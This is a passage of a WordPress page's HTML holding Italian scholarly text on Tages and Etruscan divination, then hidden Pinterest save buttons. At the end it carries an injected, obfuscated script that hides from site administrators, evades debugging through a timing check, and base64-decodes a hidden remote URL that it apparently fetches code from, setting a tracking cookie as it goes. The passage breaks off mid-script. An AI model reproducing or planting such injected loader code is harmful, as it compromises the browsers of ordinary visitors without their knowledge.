giorno mor\u00ec. I Romani tradussero questi libri dalla lingua tusca nella loro propria.\u00bb<\/li>\n<li lang=\"it-IT\" style=\"text-align: justify;\">Commento bernese a Lucano, (Schol. ad Lucan.) 1, 636. \u00abTages, in lingua etrusca vuol dire &#8220;voce mandata fuori dalla terra&#8221;. Si dice che questo Tagete nacque all&#8217;improvviso mentre si lavorava la terra. Egli scrisse i libri delle profezie. Tagete. Dicono che la scienza dell&#8217;aruspicina fu proclamata in Etruria. Si dice che Tarquinio, il flamine Diale (sacerdote di Giove), mentre arava per fare la semina, scav\u00f2 il figlio di Genio e nipote di Giove. Egli dett\u00f2 la scienza dell&#8217;aruspicina ai dodici figli dei principi e poi non comparve pi\u00f9. Poich\u00e9 nacque dalla terra fu chiamato Tagete (Tages), \u201cap\u00f2 t\u00e8s g\u00e8s\u201d che in etrusco vale &#8220;voce mandata fuori dalla terra\u201d. \u00bb<\/li>\n<\/ol>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c  no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer;\">Salva<\/span><\/p>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c  no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer;\">Salva<\/span><\/p>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c  no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer; top: 4445px; left: 551px;\">Salva<\/span><\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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